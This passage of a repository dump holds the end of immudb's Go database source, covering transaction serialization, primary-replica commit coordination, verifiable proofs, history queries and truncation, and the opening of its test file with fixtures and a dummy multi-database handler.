nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcount++\n\t}\n\n\treturn &schema.EntryCount{Count: uint64(count)}, nil\n}\n\n// CountAll ...\nfunc (d *db) CountAll(ctx context.Context) (*schema.EntryCount, error) {\n\treturn d.Count(ctx, &schema.KeyPrefix{})\n}\n\n// TxByID ...\nfunc (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tvar snap *store.Snapshot\n\tvar err error\n\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\tif !req.KeepReferencesUnresolved {\n\t\tsnap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer snap.Close()\n\t}\n\n\t// key-value inclusion proof\n\terr = d.st.ReadTx(req.Tx, false, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn d.serializeTx(ctx, tx, req.EntriesSpec, snap, true)\n}\n\nfunc (d *db) snapshotSince(ctx context.Context, prefix []byte, txID uint64) (*store.Snapshot, error) {\n\tcurrTxID, _ := d.st.CommittedAlh()\n\n\tif txID > currTxID {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\twaitUntilTx := txID\n\tif waitUntilTx == 0 {\n\t\twaitUntilTx = currTxID\n\t}\n\n\treturn d.st.SnapshotMustIncludeTxID(ctx, prefix, waitUntilTx)\n}\n\nfunc (d *db) serializeTx(ctx context.Context, tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) {\n\tif spec == nil {\n\t\treturn schema.TxToProto(tx), nil\n\t}\n\n\tstx := &schema.Tx{\n\t\tHeader: schema.TxHeaderToProto(tx.Header()),\n\t}\n\n\tfor _, e := range tx.Entries() {\n\t\tswitch e.Key()[0] {\n\t\tcase SetKeyPrefix:\n\t\t\t{\n\t\t\t\tif spec.KvEntriesSpec == nil || spec.KvEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tif spec.KvEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST {\n\t\t\t\t\tstx.Entries = append(stx.Entries, schema.TxEntryToProto(e))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tv, err := d.st.ReadValue(e)\n\t\t\t\tif errors.Is(err, store.ErrExpiredEntry) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tif spec.KvEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE {\n\t\t\t\t\tkve := schema.TxEntryToProto(e)\n\t\t\t\t\tkve.Value = v\n\t\t\t\t\tstx.Entries = append(stx.Entries, kve)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\t// resolve entry\n\t\t\t\tvar index store.KeyIndex\n\t\t\t\tif snap != nil {\n\t\t\t\t\tindex = snap\n\t\t\t\t}\n\n\t\t\t\tkve, err := d.resolveValue(ctx, e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck)\n\t\t\t\tif errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) {\n\t\t\t\t\tbreak // ignore deleted ones (referenced key may have been deleted)\n\t\t\t\t}\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tstx.KvEntries = append(stx.KvEntries, kve)\n\t\t\t}\n\t\tcase SortedSetKeyPrefix:\n\t\t\t{\n\t\t\t\tif spec.ZEntriesSpec == nil || spec.ZEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tif spec.ZEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST {\n\t\t\t\t\tstx.Entries = append(stx.Entries, schema.TxEntryToProto(e))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tif spec.ZEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE {\n\t\t\t\t\tv, err := d.st.ReadValue(e)\n\t\t\t\t\tif errors.Is(err, store.ErrExpiredEntry) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tkve := schema.TxEntryToProto(e)\n\t\t\t\t\tkve.Value = v\n\t\t\t\t\tstx.Entries = append(stx.Entries, kve)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\t// zKey = [1+setLenLen+set+scoreLen+keyLenLen+1+key+txIDLen]\n\t\t\t\tzKey := e.Key()\n\n\t\t\t\tsetLen := int(binary.BigEndian.Uint64(zKey[1:]))\n\t\t\t\tset := make([]byte, setLen)\n\t\t\t\tcopy(set, zKey[1+setLenLen:])\n\n\t\t\t\tscoreOff := 1 + setLenLen + setLen\n\t\t\t\tscoreB := binary.BigEndian.Uint64(zKey[scoreOff:])\n\t\t\t\tscore := math.Float64frombits(scoreB)\n\n\t\t\t\tkeyOff := scoreOff + scoreLen + keyLenLen\n\t\t\t\tkey := make([]byte, len(zKey)-keyOff-txIDLen)\n\t\t\t\tcopy(key, zKey[keyOff:])\n\n\t\t\t\tatTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):])\n\n\t\t\t\tvar entry *schema.Entry\n\t\t\t\tvar err error\n\n\t\t\t\tif snap != nil {\n\t\t\t\t\tentry, err = d.getAtTx(ctx, key, atTx, 1, snap, 0, skipIntegrityCheck)\n\t\t\t\t\tif errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) {\n\t\t\t\t\t\tbreak // ignore deleted ones (referenced key may have been deleted)\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tzentry := &schema.ZEntry{\n\t\t\t\t\tSet:   set,\n\t\t\t\t\tKey:   key[1:],\n\t\t\t\t\tEntry: entry,\n\t\t\t\t\tScore: score,\n\t\t\t\t\tAtTx:  atTx,\n\t\t\t\t}\n\n\t\t\t\tstx.ZEntries = append(stx.ZEntries, zentry)\n\t\t\t}\n\t\tcase SQLPrefix:\n\t\t\t{\n\t\t\t\tif spec.SqlEntriesSpec == nil || spec.SqlEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tif spec.SqlEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST {\n\t\t\t\t\tstx.Entries = append(stx.Entries, schema.TxEntryToProto(e))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\tif spec.SqlEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE {\n\t\t\t\t\tv, err := d.st.ReadValue(e)\n\t\t\t\t\tif errors.Is(err, store.ErrExpiredEntry) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn nil, err\n\t\t\t\t\t}\n\n\t\t\t\t\tkve := schema.TxEntryToProto(e)\n\t\t\t\t\tkve.Value = v\n\t\t\t\t\tstx.Entries = append(stx.Entries, kve)\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\treturn nil, fmt.Errorf(\"%w: sql entry resolution is not supported\", ErrIllegalArguments)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn stx, nil\n}\n\nfunc (d *db) mayUpdateReplicaState(committedTxID uint64, newReplicaState *schema.ReplicaState) error {\n\td.replicaStatesMutex.Lock()\n\tdefer d.replicaStatesMutex.Unlock()\n\n\t// clean up replicaStates\n\t// it's safe to remove up to latest tx committed in primary\n\tfor uuid, st := range d.replicaStates {\n\t\tif st.precommittedTxID <= committedTxID {\n\t\t\tdelete(d.replicaStates, uuid)\n\t\t}\n\t}\n\n\tif newReplicaState.PrecommittedTxID <= committedTxID {\n\t\t// as far as the primary is concerned, nothing really new has happened\n\t\treturn nil\n\t}\n\n\tnewReplicaAlh := schema.DigestFromProto(newReplicaState.PrecommittedAlh)\n\n\treplicaSt, ok := d.replicaStates[newReplicaState.UUID]\n\tif ok {\n\t\tif newReplicaState.PrecommittedTxID < replicaSt.precommittedTxID {\n\t\t\treturn fmt.Errorf(\"%w: the newly informed replica state lags behind the previously informed one\", ErrIllegalArguments)\n\t\t}\n\n\t\tif newReplicaState.PrecommittedTxID == replicaSt.precommittedTxID {\n\t\t\t// as of the last informed replica status update, nothing has changed\n\t\t\treturn nil\n\t\t}\n\n\t\t// actual replication progress is informed by the replica\n\t\treplicaSt.precommittedTxID = newReplicaState.PrecommittedTxID\n\t\treplicaSt.precommittedAlh = newReplicaAlh\n\t} else {\n\t\t// replica informs first replication state\n\t\td.replicaStates[newReplicaState.UUID] = &replicaState{\n\t\t\tprecommittedTxID: newReplicaState.PrecommittedTxID,\n\t\t\tprecommittedAlh:  newReplicaAlh,\n\t\t}\n\t}\n\n\t// check up to which tx enough replicas ack replication and it's safe to commit\n\tmayCommitUpToTxID := uint64(0)\n\tif len(d.replicaStates) > 0 {\n\t\tmayCommitUpToTxID = math.MaxUint64\n\t}\n\n\tallowances := 0\n\n\t// we may clean up replicaStates from those who are lagging behind commit\n\tfor _, st := range d.replicaStates {\n\t\tif st.precommittedTxID < mayCommitUpToTxID {\n\t\t\tmayCommitUpToTxID = st.precommittedTxID\n\t\t}\n\t\tallowances++\n\t}\n\n\tif allowances >= d.options.syncAcks {\n\t\terr := d.st.AllowCommitUpto(mayCommitUpToTxID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) {\n\tif req == nil {\n\t\treturn nil, 0, mayCommitUpToAlh, ErrIllegalArguments\n\t}\n\n\tif d.replicaStates == nil && req.ReplicaState != nil {\n\t\treturn nil, 0, mayCommitUpToAlh, fmt.Errorf(\"%w: replica state was NOT expected\", ErrIllegalState)\n\t}\n\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, 0, mayCommitUpToAlh, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\tcommittedTxID, committedAlh := d.st.CommittedAlh()\n\tpreCommittedTxID, _ := d.st.PrecommittedAlh()\n\n\tif req.ReplicaState != nil {\n\t\tif req.ReplicaState.CommittedTxID > 0 {\n\t\t\t// validate replica commit state\n\t\t\tif req.ReplicaState.CommittedTxID > committedTxID {\n\t\t\t\treturn nil, committedTxID, committedAlh, fmt.Errorf(\"%w: replica commit state diverged from primary's\", ErrReplicaDivergedFromPrimary)\n\t\t\t}\n\n\t\t\t// integrityCheck is currently required to validate Alh\n\t\t\texpectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, false)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, committedTxID, committedAlh, err\n\t\t\t}\n\n\t\t\treplicaCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh)\n\n\t\t\tif expectedReplicaCommitHdr.Alh() != replicaCommittedAlh {\n\t\t\t\treturn nil, expectedReplicaCommitHdr.ID, expectedReplicaCommitHdr.Alh(), fmt.Errorf(\"%w: replica commit state diverged from primary's\", ErrReplicaDivergedFromPrimary)\n\t\t\t}\n\t\t}\n\n\t\tif req.ReplicaState.PrecommittedTxID > 0 {\n\t\t\t// validate replica precommit state\n\t\t\tif req.ReplicaState.PrecommittedTxID > preCommittedTxID {\n\t\t\t\treturn nil, committedTxID, committedAlh, fmt.Errorf(\"%w: replica precommit state diverged from primary's\", ErrReplicaDivergedFromPrimary)\n\t\t\t}\n\n\t\t\t// integrityCheck is currently required to validate Alh\n\t\t\texpectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, false)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, committedTxID, committedAlh, err\n\t\t\t}\n\n\t\t\treplicaPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh)\n\n\t\t\tif expectedReplicaPrecommitHdr.Alh() != replicaPreCommittedAlh {\n\t\t\t\treturn nil, expectedReplicaPrecommitHdr.ID, expectedReplicaPrecommitHdr.Alh(), fmt.Errorf(\"%w: replica precommit state diverged from primary's\", ErrReplicaDivergedFromPrimary)\n\t\t\t}\n\n\t\t\t// primary will provide commit state to the replica so it can commit pre-committed transactions\n\t\t\tif req.ReplicaState.PrecommittedTxID < committedTxID {\n\t\t\t\t// if replica is behind current commit state in primary\n\t\t\t\t// return the alh up to the point known by the replica.\n\t\t\t\t// That way the replica is able to validate is following the right primary.\n\t\t\t\tmayCommitUpToTxID = req.ReplicaState.PrecommittedTxID\n\t\t\t\tmayCommitUpToAlh = replicaPreCommittedAlh\n\t\t\t} else {\n\t\t\t\tmayCommitUpToTxID = committedTxID\n\t\t\t\tmayCommitUpToAlh = committedAlh\n\t\t\t}\n\t\t}\n\n\t\terr = d.mayUpdateReplicaState(committedTxID, req.ReplicaState)\n\t\tif err != nil {\n\t\t\treturn nil, mayCommitUpToTxID, mayCommitUpToAlh, err\n\t\t}\n\t}\n\n\t// it might be the case primary will commit some txs (even there could be inmem-precommitted txs)\n\t// current timeout it's not a special value but at least a relative one\n\t// note: primary might also be waiting ack from any replica (even this primary may do progress)\n\n\t// TODO: under some circumstances, replica might not be able to do further progress until primary\n\t// has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization\n\tvar cancel context.CancelFunc\n\n\tif req.ReplicaState != nil {\n\t\tctx, cancel = context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*4)\n\t\tdefer cancel()\n\t}\n\n\terr = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted)\n\tif ctx.Err() != nil {\n\t\treturn nil, mayCommitUpToTxID, mayCommitUpToAlh, nil\n\t}\n\tif err != nil {\n\t\treturn nil, mayCommitUpToTxID, mayCommitUpToAlh, err\n\t}\n\n\ttxbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, req.SkipIntegrityCheck, tx)\n\tif err != nil {\n\t\treturn nil, mayCommitUpToTxID, mayCommitUpToAlh, err\n\t}\n\n\treturn txbs, mayCommitUpToTxID, mayCommitUpToAlh, nil\n}\n\nfunc (d *db) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif !d.isReplica() {\n\t\treturn nil, ErrNotReplica\n\t}\n\n\thdr, err := d.st.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n\n// AllowCommitUpto is used by replicas to commit transactions once committed in primary\nfunc (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tif !d.isReplica() {\n\t\treturn ErrNotReplica\n\t}\n\n\t// replica pre-committed state must be consistent with primary\n\n\tcommittedTxID, committedAlh := d.st.CommittedAlh()\n\t// handling a particular case in an optimized manner\n\tif committedTxID == txID {\n\t\tif committedAlh != alh {\n\t\t\treturn fmt.Errorf(\"%w: replica commit state diverged from primary's\", ErrIllegalState)\n\t\t}\n\t\treturn nil\n\t}\n\n\thdr, err := d.st.ReadTxHeader(txID, true, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif hdr.Alh() != alh {\n\t\treturn fmt.Errorf(\"%w: replica commit state diverged from primary's\", ErrIllegalState)\n\t}\n\n\treturn d.st.AllowCommitUpto(txID)\n}\n\nfunc (d *db) DiscardPrecommittedTxsSince(txID uint64) error {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\t_, err := d.st.DiscardPrecommittedTxsSince(txID)\n\n\treturn err\n}\n\n// VerifiableTxByID ...\nfunc (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\tif lastTxID < req.ProveSinceTx {\n\t\treturn nil, fmt.Errorf(\"%w: latest txID=%d is lower than specified as initial tx=%d\", ErrIllegalState, lastTxID, req.ProveSinceTx)\n\t}\n\n\tvar snap *store.Snapshot\n\tvar err error\n\n\tif !req.KeepReferencesUnresolved {\n\t\tsnap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer snap.Close()\n\t}\n\n\treqTx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(reqTx)\n\n\terr = d.st.ReadTx(req.Tx, false, reqTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar sourceTxHdr, targetTxHdr *store.TxHeader\n\tvar rootTxHdr *store.TxHeader\n\n\tif req.ProveSinceTx == 0 {\n\t\trootTxHdr = reqTx.Header()\n\t} else {\n\t\trootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif req.ProveSinceTx <= req.Tx {\n\t\tsourceTxHdr = rootTxHdr\n\t\ttargetTxHdr = reqTx.Header()\n\t} else {\n\t\tsourceTxHdr = reqTx.Header()\n\t\ttargetTxHdr = rootTxHdr\n\t}\n\n\tdualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsReqTx, err := d.serializeTx(ctx, reqTx, req.EntriesSpec, snap, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &schema.VerifiableTx{\n\t\tTx:        sReqTx,\n\t\tDualProof: schema.DualProofToProto(dualProof),\n\t}, nil\n}\n\n// TxScan ...\nfunc (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif int(req.Limit) > d.maxResultSize {\n\t\treturn nil, fmt.Errorf(\"%w: the specified limit (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tErrResultSizeLimitExceeded, req.Limit, d.maxResultSize)\n\t}\n\n\ttx, err := d.allocTx()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer d.releaseTx(tx)\n\n\tlimit := int(req.Limit)\n\tif req.Limit == 0 {\n\t\tlimit = d.maxResultSize\n\t}\n\n\tsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer snap.Close()\n\n\ttxReader, err := d.st.NewTxReader(req.InitialTx, req.Desc, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxList := &schema.TxList{}\n\n\tfor l := 1; l <= limit; l++ {\n\t\ttx, err := txReader.Read()\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tsTx, err := d.serializeTx(ctx, tx, req.EntriesSpec, snap, true)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\ttxList.Txs = append(txList.Txs, sTx)\n\t}\n\n\treturn txList, nil\n}\n\n// History ...\nfunc (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) {\n\tif req == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif int(req.Limit) > d.maxResultSize {\n\t\treturn nil, fmt.Errorf(\"%w: the specified limit (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tErrResultSizeLimitExceeded, req.Limit, d.maxResultSize)\n\t}\n\n\tcurrTxID, _ := d.st.CommittedAlh()\n\n\tif req.SinceTx > currTxID {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\twaitUntilTx := req.SinceTx\n\tif waitUntilTx == 0 {\n\t\twaitUntilTx = currTxID\n\t}\n\n\terr := d.WaitForIndexingUpto(ctx, waitUntilTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlimit := int(req.Limit)\n\tif limit == 0 {\n\t\tlimit = d.maxResultSize\n\t}\n\n\tkey := EncodeKey(req.Key)\n\n\tvalRefs, _, err := d.st.History(key, req.Offset, req.Desc, limit)\n\tif err != nil && err != store.ErrOffsetOutOfRange {\n\t\treturn nil, err\n\t}\n\n\tlist := &schema.Entries{\n\t\tEntries: make([]*schema.Entry, len(valRefs)),\n\t}\n\n\tfor i, valRef := range valRefs {\n\t\tval, err := valRef.Resolve()\n\t\tif err != nil && err != store.ErrExpiredEntry {\n\t\t\treturn nil, err\n\t\t}\n\t\tif len(val) > 0 {\n\t\t\tval = TrimPrefix(val)\n\t\t}\n\n\t\tlist.Entries[i] = &schema.Entry{\n\t\t\tTx:       valRef.Tx(),\n\t\t\tKey:      req.Key,\n\t\t\tMetadata: schema.KVMetadataToProto(valRef.KVMetadata()),\n\t\t\tValue:    val,\n\t\t\tExpired:  errors.Is(err, store.ErrExpiredEntry),\n\t\t\tRevision: valRef.HC(),\n\t\t}\n\t}\n\treturn list, nil\n}\n\nfunc (d *db) IsClosed() bool {\n\td.closingMutex.Lock()\n\tdefer d.closingMutex.Unlock()\n\n\treturn d.st.IsClosed()\n}\n\n// Close ...\nfunc (d *db) Close() (err error) {\n\td.closingMutex.Lock()\n\tdefer d.closingMutex.Unlock()\n\n\td.Logger.Infof(\"closing database '%s'...\", d.name)\n\n\tdefer func() {\n\t\tif err == nil {\n\t\t\td.Logger.Infof(\"database '%s' successfully closed\", d.name)\n\t\t} else {\n\t\t\td.Logger.Infof(\"%v: while closing database '%s'\", err, d.name)\n\t\t}\n\t}()\n\n\treturn d.st.Close()\n}\n\n// GetName ...\nfunc (d *db) GetName() string {\n\treturn d.name\n}\n\n// GetOptions ...\nfunc (d *db) GetOptions() *Options {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.options\n}\n\nfunc (d *db) AsReplica(asReplica, syncReplication bool, syncAcks int) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\td.replicaStatesMutex.Lock()\n\tdefer d.replicaStatesMutex.Unlock()\n\n\td.options.replica = asReplica\n\td.options.syncAcks = syncAcks\n\td.options.syncReplication = syncReplication\n\n\tif asReplica {\n\t\td.replicaStates = nil\n\t} else if syncAcks > 0 {\n\t\td.replicaStates = make(map[string]*replicaState, syncAcks)\n\t}\n\n\td.st.SetExternalCommitAllowance(syncReplication)\n}\n\nfunc (d *db) IsReplica() bool {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.isReplica()\n}\n\nfunc (d *db) isReplica() bool {\n\treturn d.options.replica\n}\n\nfunc (d *db) IsSyncReplicationEnabled() bool {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\treturn d.options.syncReplication\n}\n\nfunc (d *db) SetSyncReplication(enabled bool) {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\td.st.SetExternalCommitAllowance(enabled)\n\n\td.options.syncReplication = enabled\n}\n\nfunc logErr(log logger.Logger, formattedMessage string, err error) error {\n\tif err != nil {\n\t\tlog.Errorf(formattedMessage, err)\n\t}\n\treturn err\n}\n\n// CopyCatalog creates a copy of the sql catalog and returns a transaction\n// that can be used to commit the copy.\nfunc (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error {\n\t// copy the sql catalog\n\terr := d.sqlEngine.CopyCatalogToTx(ctx, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// copy the document store catalog\n\terr = d.documentEngine.CopyCatalogToTx(ctx, tx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (d *db) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) {\n\thdr, err := d.st.LastTxUntil(until)\n\tif errors.Is(err, store.ErrTxNotFound) {\n\t\treturn nil, ErrRetentionPeriodNotReached\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// look for the newst transaction with entries\n\tfor err == nil {\n\t\tif hdr.NEntries > 0 {\n\t\t\tbreak\n\t\t}\n\n\t\tif ctx.Err() != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\thdr, err = d.st.ReadTxHeader(hdr.ID-1, false, false)\n\t}\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n\nfunc (d *db) TruncateUptoTx(_ context.Context, txID uint64) error {\n\treturn d.st.TruncateUptoTx(txID)\n}\n"
  },
  {
    "path": "pkg/database/database_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log\"\n\t\"math\"\n\t\"os\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar kvs = []*schema.KeyValue{\n\t{\n\t\tKey:   []byte(\"Alberto\"),\n\t\tValue: []byte(\"Tomba\"),\n\t},\n\t{\n\t\tKey:   []byte(\"Jean-Claude\"),\n\t\tValue: []byte(\"Killy\"),\n\t},\n\t{\n\t\tKey:   []byte(\"Franz\"),\n\t\tValue: []byte(\"Clamer\"),\n\t},\n}\n\nfunc makeDb(t *testing.T) *db {\n\trootPath := t.TempDir()\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2))\n\n\treturn makeDbWith(t, \"db\", options)\n}\n\nfunc makeDbWith(t *testing.T, dbName string, opts *Options) *db {\n\td, err := NewDB(dbName, &dummyMultidbHandler{}, opts, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\tt.Cleanup(func() {\n\t\terr := d.Close()\n\t\tif !t.Failed() {\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t})\n\n\treturn d.(*db)\n}\n\ntype dummyMultidbHandler struct {\n}\n\nfunc (h *dummyMultidbHandler) ListDatabases(ctx context.Context) ([]string, error) {\n\treturn nil, sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error {\n\treturn sql.ErrNoSupported\n}\n\ntype mockUser struct{}\n\nfunc (u *mockUser) Username() string {\n\treturn \"default\"\n}\n\nfunc (u *mockUser) Permission() sql.Permission {\n\treturn sql.PermissionAdmin\n}\n\nfunc (u *mockUser) SQLPrivileges() []sql.SQLPrivilege {\n\treturn sql.DefaultSQLPrivilegesForPermission(sql.PermissionAdmin)\n}\n\nfunc (h *dummyMultidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) {\n\treturn &mockUser{}, nil\n}\n\nfunc (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) {\n\treturn nil, sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) DropUser(ctx context.Context, username string) error {\n\treturn sql.ErrNoSupported\n}\n\nfunc (h *dummyMultidbHandler) ExecPreparedStmts(\n\tctx context.Context,\n\topts *sql.TxOptions,\n\tstmts []sql.SQLStmt,\n\tparams map[string]interface{}) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) {\n\treturn nil, nil, sql.ErrNoSupported\n}\n\nfunc TestDefaultDbCreation(t *testing.T) {\n\toptions := DefaultOptions().WithDBRootPath(t.TempDir())\n\tdb, err := NewDB(\"mydb\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, options, 